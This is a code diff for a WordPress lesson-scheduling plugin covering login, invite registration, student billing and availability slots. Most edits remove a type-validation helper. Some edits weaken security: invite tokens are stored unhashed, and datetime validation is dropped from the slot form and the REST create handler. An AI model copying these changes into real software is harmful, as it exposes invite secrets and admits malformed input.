public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
||||||
if ( is_user_logged_in() ) {
|
if ( is_user_logged_in() ) {
|
||||||
@@ -28,9 +26,9 @@ class LoginPage {
|
|||||||
|
|
||||||
if ( isset( $_POST['us_login'] ) && check_admin_referer( 'us_student_login' ) ) {
|
if ( isset( $_POST['us_login'] ) && check_admin_referer( 'us_student_login' ) ) {
|
||||||
$credentials = [
|
$credentials = [
|
||||||
'user_login' => sanitize_user( Val::string( wp_unslash( $_POST['log'] ?? '' ) ) ),
|
'user_login' => sanitize_user( wp_unslash( $_POST['log'] ?? '' ) ),
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- passwords must not be sanitized.
|
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- passwords must not be sanitized.
|
||||||
'user_password' => Val::string( wp_unslash( $_POST['pwd'] ?? '' ) ),
|
'user_password' => wp_unslash( $_POST['pwd'] ?? '' ),
|
||||||
'remember' => isset( $_POST['rememberme'] ),
|
'remember' => isset( $_POST['rememberme'] ),
|
||||||
];
|
];
|
||||||
|
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Auth;
|
namespace Unsupervised\Schedular\Auth;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class RegistrationController {
|
class RegistrationController {
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -19,72 +17,50 @@ class RegistrationController {
|
|||||||
wp_die( esc_html__( 'You do not have permission to manage invites.', 'unsupervised-schedular' ) );
|
wp_die( esc_html__( 'You do not have permission to manage invites.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
$newInviteUrl = '';
|
|
||||||
if ( isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_invite_action' ) ) {
|
if ( isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_invite_action' ) ) {
|
||||||
$newInviteUrl = $this->handleFormAction();
|
$this->handleFormAction();
|
||||||
}
|
}
|
||||||
|
|
||||||
$pendingInvites = $this->invites->findPending();
|
$pendingInvites = $this->invites->findPending();
|
||||||
$registrationPageId = Val::int( get_option( self::OPTION_PAGE, 0 ) );
|
$registrationPageId = (int) get_option( self::OPTION_PAGE, 0 );
|
||||||
$registrationPageUrl = $registrationPageId > 0 ? (string) get_permalink( $registrationPageId ) : '';
|
$registrationPageUrl = $registrationPageId > 0 ? (string) get_permalink( $registrationPageId ) : '';
|
||||||
|
|
||||||
include USC_PLUGIN_DIR . 'templates/admin/invites.php';
|
include USC_PLUGIN_DIR . 'templates/admin/invites.php';
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
private function handleFormAction(): void {
|
||||||
* Handle a posted admin action. Returns the registration link for a freshly
|
|
||||||
* created invite — the only time it can be shown, since just the token's hash
|
|
||||||
* is stored — or an empty string for every other action.
|
|
||||||
*/
|
|
||||||
private function handleFormAction(): string {
|
|
||||||
// Nonce is verified by the caller (renderPage) before this method runs.
|
// Nonce is verified by the caller (renderPage) before this method runs.
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
|
$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
|
||||||
|
|
||||||
if ( 'set_page' === $action ) {
|
if ( 'set_page' === $action ) {
|
||||||
update_option( self::OPTION_PAGE, absint( Val::int( $_POST['registration_page_id'] ?? 0 ) ) );
|
update_option( self::OPTION_PAGE, absint( $_POST['registration_page_id'] ?? 0 ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( 'invite' === $action ) {
|
if ( 'invite' === $action ) {
|
||||||
$email = sanitize_email( Val::string( wp_unslash( $_POST['email'] ?? '' ) ) );
|
$email = sanitize_email( wp_unslash( $_POST['email'] ?? '' ) );
|
||||||
|
|
||||||
if (
|
if (
|
||||||
is_email( $email )
|
is_email( $email )
|
||||||
&& false === email_exists( $email )
|
&& false === email_exists( $email )
|
||||||
&& null === $this->invites->findPendingByEmail( $email )
|
&& null === $this->invites->findPendingByEmail( $email )
|
||||||
) {
|
) {
|
||||||
$rawToken = wp_generate_password( 32, false );
|
|
||||||
|
|
||||||
$this->invites->insert(
|
$this->invites->insert(
|
||||||
new Invite(
|
new Invite(
|
||||||
email: $email,
|
email: $email,
|
||||||
token: Invite::hashToken( $rawToken ),
|
token: wp_generate_password( 32, false ),
|
||||||
invitedBy: get_current_user_id(),
|
invitedBy: get_current_user_id(),
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
|
|
||||||
return $this->registrationLink( $rawToken );
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( 'revoke' === $action ) {
|
if ( 'revoke' === $action ) {
|
||||||
$inviteId = absint( Val::int( $_POST['invite_id'] ?? 0 ) );
|
$inviteId = absint( $_POST['invite_id'] ?? 0 );
|
||||||
if ( $inviteId > 0 ) {
|
if ( $inviteId > 0 ) {
|
||||||
$this->invites->revoke( $inviteId );
|
$this->invites->revoke( $inviteId );
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
|
|
||||||
return '';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Build the registration URL for a raw invite token.
|
|
||||||
*/
|
|
||||||
private function registrationLink( string $rawToken ): string {
|
|
||||||
$pageId = Val::int( get_option( self::OPTION_PAGE, 0 ) );
|
|
||||||
$linkBase = $pageId > 0 ? (string) get_permalink( $pageId ) : '';
|
|
||||||
|
|
||||||
return add_query_arg( 'us_invite', rawurlencode( $rawToken ), '' !== $linkBase ? $linkBase : home_url( '/' ) );
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,7 +8,6 @@ use Unsupervised\Schedular\Policy\Policy;
|
|||||||
use Unsupervised\Schedular\Policy\PolicyAcceptance;
|
use Unsupervised\Schedular\Policy\PolicyAcceptance;
|
||||||
use Unsupervised\Schedular\Policy\PolicyRepository;
|
use Unsupervised\Schedular\Policy\PolicyRepository;
|
||||||
use Unsupervised\Schedular\Policy\PolicyVersionRepository;
|
use Unsupervised\Schedular\Policy\PolicyVersionRepository;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class RegistrationPage {
|
class RegistrationPage {
|
||||||
|
|
||||||
@@ -22,7 +21,7 @@ class RegistrationPage {
|
|||||||
/**
|
/**
|
||||||
* Renders the student registration shortcode output.
|
* Renders the student registration shortcode output.
|
||||||
*
|
*
|
||||||
* @param array<string> $atts Shortcode attributes (unused — reserved for future options).
|
* @param array<string, string> $atts Shortcode attributes (unused — reserved for future options).
|
||||||
*/
|
*/
|
||||||
public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
||||||
if ( is_user_logged_in() ) {
|
if ( is_user_logged_in() ) {
|
||||||
@@ -30,9 +29,8 @@ class RegistrationPage {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- token identifies the invite; the form submit is nonce-checked below.
|
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- token identifies the invite; the form submit is nonce-checked below.
|
||||||
$token = sanitize_text_field( Val::string( wp_unslash( $_REQUEST['us_invite'] ?? '' ) ) );
|
$token = sanitize_text_field( wp_unslash( $_REQUEST['us_invite'] ?? '' ) );
|
||||||
// Only the token's hash is stored, so hash the submitted token for lookup.
|
$invite = '' !== $token ? $this->invites->findByToken( $token ) : null;
|
||||||
$invite = '' !== $token ? $this->invites->findByToken( Invite::hashToken( $token ) ) : null;
|
|
||||||
|
|
||||||
$error = '';
|
$error = '';
|
||||||
$success = false;
|
$success = false;
|
||||||
@@ -65,12 +63,12 @@ class RegistrationPage {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only token used only to build the redirect target.
|
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only token used only to build the redirect target.
|
||||||
$token = sanitize_text_field( Val::string( wp_unslash( $_GET['us_invite'] ?? '' ) ) );
|
$token = sanitize_text_field( wp_unslash( $_GET['us_invite'] ?? '' ) );
|
||||||
if ( '' === $token ) {
|
if ( '' === $token ) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$pageId = Val::int( get_option( RegistrationController::OPTION_PAGE, 0 ) );
|
$pageId = (int) get_option( RegistrationController::OPTION_PAGE, 0 );
|
||||||
if ( $pageId <= 0 || is_page( $pageId ) ) {
|
if ( $pageId <= 0 || is_page( $pageId ) ) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -91,16 +89,15 @@ class RegistrationPage {
|
|||||||
// The submit nonce is verified by the caller (render) before this runs.
|
// The submit nonce is verified by the caller (render) before this runs.
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- passwords must not be sanitized.
|
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- passwords must not be sanitized.
|
||||||
$password = Val::string( wp_unslash( $_POST['password'] ?? '' ) );
|
$password = (string) wp_unslash( $_POST['password'] ?? '' );
|
||||||
$displayName = sanitize_text_field( Val::string( wp_unslash( $_POST['display_name'] ?? '' ) ) );
|
$displayName = sanitize_text_field( wp_unslash( $_POST['display_name'] ?? '' ) );
|
||||||
|
|
||||||
if ( strlen( $password ) < 8 ) {
|
if ( strlen( $password ) < 8 ) {
|
||||||
return esc_html__( 'Please choose a password of at least 8 characters.', 'unsupervised-schedular' );
|
return esc_html__( 'Please choose a password of at least 8 characters.', 'unsupervised-schedular' );
|
||||||
}
|
}
|
||||||
|
|
||||||
$policyForms = $this->signupPolicies();
|
$policyForms = $this->signupPolicies();
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- each element is coerced to a positive int in the array_map callback; slashes cannot survive integer coercion.
|
$accepted = array_map( 'absint', (array) ( $_POST['accept'] ?? [] ) );
|
||||||
$accepted = array_map( static fn( mixed $v ): int => absint( Val::int( $v ) ), (array) ( $_POST['accept'] ?? [] ) );
|
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
|
|
||||||
foreach ( $policyForms as $form ) {
|
foreach ( $policyForms as $form ) {
|
||||||
@@ -143,7 +140,7 @@ class RegistrationPage {
|
|||||||
*/
|
*/
|
||||||
private function recordAcceptances( array $policyForms, int $userId ): void {
|
private function recordAcceptances( array $policyForms, int $userId ): void {
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP is stored verbatim for audit.
|
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP is stored verbatim for audit.
|
||||||
$ip = sanitize_text_field( Val::string( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) ) );
|
$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) );
|
||||||
|
|
||||||
foreach ( $policyForms as $form ) {
|
foreach ( $policyForms as $form ) {
|
||||||
$this->acceptances->insert(
|
$this->acceptances->insert(
|
||||||
|
|||||||
@@ -11,7 +11,6 @@ use Unsupervised\Schedular\GroupClass\EnrollmentRepository;
|
|||||||
use Unsupervised\Schedular\Offering\OfferingRepository;
|
use Unsupervised\Schedular\Offering\OfferingRepository;
|
||||||
use Unsupervised\Schedular\Payment\BillingMethodResolver;
|
use Unsupervised\Schedular\Payment\BillingMethodResolver;
|
||||||
use Unsupervised\Schedular\Payment\Payment;
|
use Unsupervised\Schedular\Payment\Payment;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class StudentController {
|
class StudentController {
|
||||||
|
|
||||||
@@ -29,7 +28,7 @@ class StudentController {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only student selector.
|
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only student selector.
|
||||||
$studentId = absint( Val::int( $_GET['student_id'] ?? 0 ) );
|
$studentId = absint( $_GET['student_id'] ?? 0 );
|
||||||
$student = $studentId > 0 ? get_userdata( $studentId ) : false;
|
$student = $studentId > 0 ? get_userdata( $studentId ) : false;
|
||||||
|
|
||||||
if ( $student && in_array( RoleManager::STUDENT, (array) $student->roles, true ) ) {
|
if ( $student && in_array( RoleManager::STUDENT, (array) $student->roles, true ) ) {
|
||||||
@@ -46,15 +45,12 @@ class StudentController {
|
|||||||
'upcoming' => $this->bookings->countUpcomingForStudent( (int) $user->ID ),
|
'upcoming' => $this->bookings->countUpcomingForStudent( (int) $user->ID ),
|
||||||
'enrolments' => $this->enrollments->countActiveForStudent( (int) $user->ID ),
|
'enrolments' => $this->enrollments->countActiveForStudent( (int) $user->ID ),
|
||||||
],
|
],
|
||||||
array_filter(
|
get_users(
|
||||||
get_users(
|
[
|
||||||
[
|
'role' => RoleManager::STUDENT,
|
||||||
'role' => RoleManager::STUDENT,
|
'orderby' => 'display_name',
|
||||||
'orderby' => 'display_name',
|
'order' => 'ASC',
|
||||||
'order' => 'ASC',
|
]
|
||||||
]
|
|
||||||
),
|
|
||||||
static fn( mixed $user ): bool => $user instanceof \WP_User
|
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -67,7 +63,7 @@ class StudentController {
|
|||||||
|
|
||||||
if ( $canBilling && isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_student_billing' ) ) {
|
if ( $canBilling && isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_student_billing' ) ) {
|
||||||
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce checked above.
|
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce checked above.
|
||||||
$method = sanitize_key( Val::string( wp_unslash( $_POST['payment_method'] ?? '' ) ) );
|
$method = sanitize_key( wp_unslash( $_POST['payment_method'] ?? '' ) );
|
||||||
if ( in_array( $method, Payment::VALID_METHODS, true ) ) {
|
if ( in_array( $method, Payment::VALID_METHODS, true ) ) {
|
||||||
update_user_meta( (int) $student->ID, BillingMethodResolver::META_METHOD, $method );
|
update_user_meta( (int) $student->ID, BillingMethodResolver::META_METHOD, $method );
|
||||||
} else {
|
} else {
|
||||||
@@ -75,7 +71,7 @@ class StudentController {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
$billingOverride = Val::string( get_user_meta( (int) $student->ID, BillingMethodResolver::META_METHOD, true ) );
|
$billingOverride = (string) get_user_meta( (int) $student->ID, BillingMethodResolver::META_METHOD, true );
|
||||||
$billingDefault = $this->resolver->defaultMethod();
|
$billingDefault = $this->resolver->defaultMethod();
|
||||||
|
|
||||||
$now = current_time( 'mysql' );
|
$now = current_time( 'mysql' );
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Auth;
|
namespace Unsupervised\Schedular\Auth;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Pure helper for splitting a student's dated rows into upcoming and past.
|
* Pure helper for splitting a student's dated rows into upcoming and past.
|
||||||
*/
|
*/
|
||||||
@@ -23,7 +21,7 @@ class StudentSchedule {
|
|||||||
$past = [];
|
$past = [];
|
||||||
|
|
||||||
foreach ( $rows as $row ) {
|
foreach ( $rows as $row ) {
|
||||||
$start = Val::string( $row['start_dt'] ?? '' );
|
$start = (string) ( $row['start_dt'] ?? '' );
|
||||||
if ( '' !== $start && $start >= $now ) {
|
if ( '' !== $start && $start >= $now ) {
|
||||||
$upcoming[] = $row;
|
$upcoming[] = $row;
|
||||||
} else {
|
} else {
|
||||||
@@ -31,12 +29,12 @@ class StudentSchedule {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
usort( $upcoming, static fn( array $a, array $b ): int => strcmp( Val::string( $a['start_dt'] ?? '' ), Val::string( $b['start_dt'] ?? '' ) ) );
|
usort( $upcoming, static fn( array $a, array $b ): int => strcmp( (string) ( $a['start_dt'] ?? '' ), (string) ( $b['start_dt'] ?? '' ) ) );
|
||||||
usort( $past, static fn( array $a, array $b ): int => strcmp( Val::string( $b['start_dt'] ?? '' ), Val::string( $a['start_dt'] ?? '' ) ) );
|
usort( $past, static fn( array $a, array $b ): int => strcmp( (string) ( $b['start_dt'] ?? '' ), (string) ( $a['start_dt'] ?? '' ) ) );
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'upcoming' => $upcoming,
|
'upcoming' => array_values( $upcoming ),
|
||||||
'past' => $past,
|
'past' => array_values( $past ),
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ namespace Unsupervised\Schedular\Availability;
|
|||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Offering\Offering;
|
use Unsupervised\Schedular\Offering\Offering;
|
||||||
use Unsupervised\Schedular\Offering\OfferingRepository;
|
use Unsupervised\Schedular\Offering\OfferingRepository;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class AvailabilityController {
|
class AvailabilityController {
|
||||||
|
|
||||||
@@ -35,14 +34,14 @@ class AvailabilityController {
|
|||||||
private function handleFormAction( int $instructorId ): void {
|
private function handleFormAction( int $instructorId ): void {
|
||||||
// Nonce is verified by the caller (renderPage) before this method runs.
|
// Nonce is verified by the caller (renderPage) before this method runs.
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
|
$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
|
||||||
|
|
||||||
if ( 'add' === $action ) {
|
if ( 'add' === $action ) {
|
||||||
$this->addSlot( $instructorId );
|
$this->addSlot( $instructorId );
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( 'delete' === $action ) {
|
if ( 'delete' === $action ) {
|
||||||
$slotId = absint( Val::int( $_POST['slot_id'] ?? 0 ) );
|
$slotId = absint( $_POST['slot_id'] ?? 0 );
|
||||||
if ( $slotId > 0 ) {
|
if ( $slotId > 0 ) {
|
||||||
$slot = $this->repository->findById( $slotId );
|
$slot = $this->repository->findById( $slotId );
|
||||||
if ( $slot && $slot->instructorId === $instructorId ) {
|
if ( $slot && $slot->instructorId === $instructorId ) {
|
||||||
@@ -55,15 +54,15 @@ class AvailabilityController {
|
|||||||
|
|
||||||
private function addSlot( int $instructorId ): void {
|
private function addSlot( int $instructorId ): void {
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$startDt = AvailabilitySlot::normalizeDateTime( sanitize_text_field( Val::string( wp_unslash( $_POST['start_dt'] ?? '' ) ) ) );
|
$startDt = sanitize_text_field( wp_unslash( $_POST['start_dt'] ?? '' ) );
|
||||||
$endDt = AvailabilitySlot::normalizeDateTime( sanitize_text_field( Val::string( wp_unslash( $_POST['end_dt'] ?? '' ) ) ) );
|
$endDt = sanitize_text_field( wp_unslash( $_POST['end_dt'] ?? '' ) );
|
||||||
|
|
||||||
if ( null === $startDt || null === $endDt || $endDt <= $startDt ) {
|
if ( '' === $startDt || '' === $endDt ) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$offeringId = absint( Val::int( $_POST['offering_id'] ?? 0 ) );
|
$offeringId = absint( $_POST['offering_id'] ?? 0 );
|
||||||
$duration = absint( Val::int( $_POST['duration_minutes'] ?? 0 ) );
|
$duration = absint( $_POST['duration_minutes'] ?? 0 );
|
||||||
|
|
||||||
$slot = new AvailabilitySlot(
|
$slot = new AvailabilitySlot(
|
||||||
instructorId: $instructorId,
|
instructorId: $instructorId,
|
||||||
@@ -73,8 +72,8 @@ class AvailabilityController {
|
|||||||
offeringId: $offeringId > 0 ? $offeringId : null,
|
offeringId: $offeringId > 0 ? $offeringId : null,
|
||||||
);
|
);
|
||||||
|
|
||||||
if ( 'weekly' === sanitize_key( Val::string( wp_unslash( $_POST['recurrence'] ?? 'single' ) ) ) ) {
|
if ( 'weekly' === sanitize_key( wp_unslash( $_POST['recurrence'] ?? 'single' ) ) ) {
|
||||||
$this->repository->createWeeklySeries( $slot, absint( Val::int( $_POST['weeks'] ?? 1 ) ) );
|
$this->repository->createWeeklySeries( $slot, absint( $_POST['weeks'] ?? 1 ) );
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ namespace Unsupervised\Schedular\Availability;
|
|||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Offering\OfferingRepository;
|
use Unsupervised\Schedular\Offering\OfferingRepository;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class AvailabilityEndpoint {
|
class AvailabilityEndpoint {
|
||||||
|
|
||||||
@@ -14,11 +13,6 @@ class AvailabilityEndpoint {
|
|||||||
private OfferingRepository $offerings,
|
private OfferingRepository $offerings,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
|
||||||
* Registers this endpoint's REST routes.
|
|
||||||
*
|
|
||||||
* @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
|
|
||||||
*/
|
|
||||||
public function registerRoutes( string $route_namespace ): void {
|
public function registerRoutes( string $route_namespace ): void {
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$route_namespace,
|
$route_namespace,
|
||||||
@@ -102,11 +96,11 @@ class AvailabilityEndpoint {
|
|||||||
|
|
||||||
public function index( \WP_REST_Request $request ): \WP_REST_Response {
|
public function index( \WP_REST_Request $request ): \WP_REST_Response {
|
||||||
$slots = $this->repository->findAvailable(
|
$slots = $this->repository->findAvailable(
|
||||||
Val::int( $request->get_param( 'instructor_id' ) ),
|
(int) $request->get_param( 'instructor_id' ),
|
||||||
Val::int( $request->get_param( 'offering_id' ) ),
|
(int) $request->get_param( 'offering_id' ),
|
||||||
Val::int( $request->get_param( 'duration_minutes' ) ),
|
(int) $request->get_param( 'duration_minutes' ),
|
||||||
Val::string( $request->get_param( 'from' ) ),
|
(string) $request->get_param( 'from' ),
|
||||||
Val::string( $request->get_param( 'to' ) ),
|
(string) $request->get_param( 'to' ),
|
||||||
);
|
);
|
||||||
|
|
||||||
return new \WP_REST_Response( array_map( fn( AvailabilitySlot $s ) => $s->toArray(), $slots ), 200 );
|
return new \WP_REST_Response( array_map( fn( AvailabilitySlot $s ) => $s->toArray(), $slots ), 200 );
|
||||||
@@ -114,8 +108,8 @@ class AvailabilityEndpoint {
|
|||||||
|
|
||||||
public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$instructorId = get_current_user_id();
|
$instructorId = get_current_user_id();
|
||||||
$offeringId = absint( Val::int( $request->get_param( 'offering_id' ) ) );
|
$offeringId = absint( $request->get_param( 'offering_id' ) );
|
||||||
$duration = absint( Val::int( $request->get_param( 'duration_minutes' ) ) );
|
$duration = absint( $request->get_param( 'duration_minutes' ) );
|
||||||
|
|
||||||
// A slot may only be tied to an offering the instructor owns, so it can
|
// A slot may only be tied to an offering the instructor owns, so it can
|
||||||
// never inherit another instructor's price or payment routing at booking.
|
// never inherit another instructor's price or payment routing at booking.
|
||||||
@@ -126,23 +120,16 @@ class AvailabilityEndpoint {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
$startDt = AvailabilitySlot::normalizeDateTime( Val::string( $request->get_param( 'start_dt' ) ) );
|
|
||||||
$endDt = AvailabilitySlot::normalizeDateTime( Val::string( $request->get_param( 'end_dt' ) ) );
|
|
||||||
|
|
||||||
if ( null === $startDt || null === $endDt || $endDt <= $startDt ) {
|
|
||||||
return new \WP_Error( 'invalid_datetime', __( 'Provide a valid start and end, with the end after the start.', 'unsupervised-schedular' ), [ 'status' => 400 ] );
|
|
||||||
}
|
|
||||||
|
|
||||||
$slot = new AvailabilitySlot(
|
$slot = new AvailabilitySlot(
|
||||||
instructorId: $instructorId,
|
instructorId: $instructorId,
|
||||||
startDt: $startDt,
|
startDt: (string) $request->get_param( 'start_dt' ),
|
||||||
endDt: $endDt,
|
endDt: (string) $request->get_param( 'end_dt' ),
|
||||||
durationMinutes: $duration > 0 ? $duration : 60,
|
durationMinutes: $duration > 0 ? $duration : 60,
|
||||||
offeringId: $offeringId > 0 ? $offeringId : null,
|
offeringId: $offeringId > 0 ? $offeringId : null,
|
||||||
);
|
);
|
||||||
|
|
||||||
if ( 'weekly' === $request->get_param( 'recurrence' ) ) {
|
if ( 'weekly' === $request->get_param( 'recurrence' ) ) {
|
||||||
$ids = $this->repository->createWeeklySeries( $slot, absint( Val::int( $request->get_param( 'weeks' ) ) ) );
|
$ids = $this->repository->createWeeklySeries( $slot, absint( $request->get_param( 'weeks' ) ) );
|
||||||
|
|
||||||
return new \WP_REST_Response( [ 'ids' => $ids ], 201 );
|
return new \WP_REST_Response( [ 'ids' => $ids ], 201 );
|
||||||
}
|
}
|
||||||
@@ -153,7 +140,7 @@ class AvailabilityEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$id = absint( Val::int( $request->get_param( 'id' ) ) );
|
$id = absint( $request->get_param( 'id' ) );
|
||||||
$slot = $this->repository->findById( $id );
|
$slot = $this->repository->findById( $id );
|
||||||
|
|
||||||
if ( null === $slot ) {
|
if ( null === $slot ) {
|
||||||
|
|||||||
@@ -116,11 +116,11 @@ class AvailabilityRepository {
|
|||||||
}
|
}
|
||||||
|
|
||||||
$whereClause = implode( ' AND ', $where );
|
$whereClause = implode( ' AND ', $where );
|
||||||
$sql = "SELECT * FROM %i WHERE {$whereClause} ORDER BY start_dt ASC";
|
$sql = "SELECT * FROM {$this->table} WHERE {$whereClause} ORDER BY start_dt ASC";
|
||||||
|
|
||||||
$rows = $this->db->get_results(
|
$rows = $params
|
||||||
$this->db->prepare( $sql, array_merge( [ $this->table ], $params ) )
|
? $this->db->get_results( $this->db->prepare( $sql, $params ) )
|
||||||
);
|
: $this->db->get_results( $sql );
|
||||||
|
|
||||||
return array_map( AvailabilitySlot::fromRow( ... ), $rows ?? [] );
|
return array_map( AvailabilitySlot::fromRow( ... ), $rows ?? [] );
|
||||||
}
|
}
|
||||||
@@ -133,8 +133,7 @@ class AvailabilityRepository {
|
|||||||
public function findByInstructor( int $instructorId ): array {
|
public function findByInstructor( int $instructorId ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE instructor_id = %d ORDER BY start_dt ASC',
|
"SELECT * FROM {$this->table} WHERE instructor_id = %d ORDER BY start_dt ASC",
|
||||||
$this->table,
|
|
||||||
$instructorId
|
$instructorId
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
@@ -150,8 +149,7 @@ class AvailabilityRepository {
|
|||||||
public function findUnbookedInGroup( int $recurrenceGroup ): array {
|
public function findUnbookedInGroup( int $recurrenceGroup ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE recurrence_group = %d AND is_booked = 0 ORDER BY start_dt ASC',
|
"SELECT * FROM {$this->table} WHERE recurrence_group = %d AND is_booked = 0 ORDER BY start_dt ASC",
|
||||||
$this->table,
|
|
||||||
$recurrenceGroup
|
$recurrenceGroup
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
@@ -161,7 +159,7 @@ class AvailabilityRepository {
|
|||||||
|
|
||||||
public function findById( int $id ): ?AvailabilitySlot {
|
public function findById( int $id ): ?AvailabilitySlot {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? AvailabilitySlot::fromRow( $row ) : null;
|
return $row ? AvailabilitySlot::fromRow( $row ) : null;
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Availability;
|
namespace Unsupervised\Schedular\Availability;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
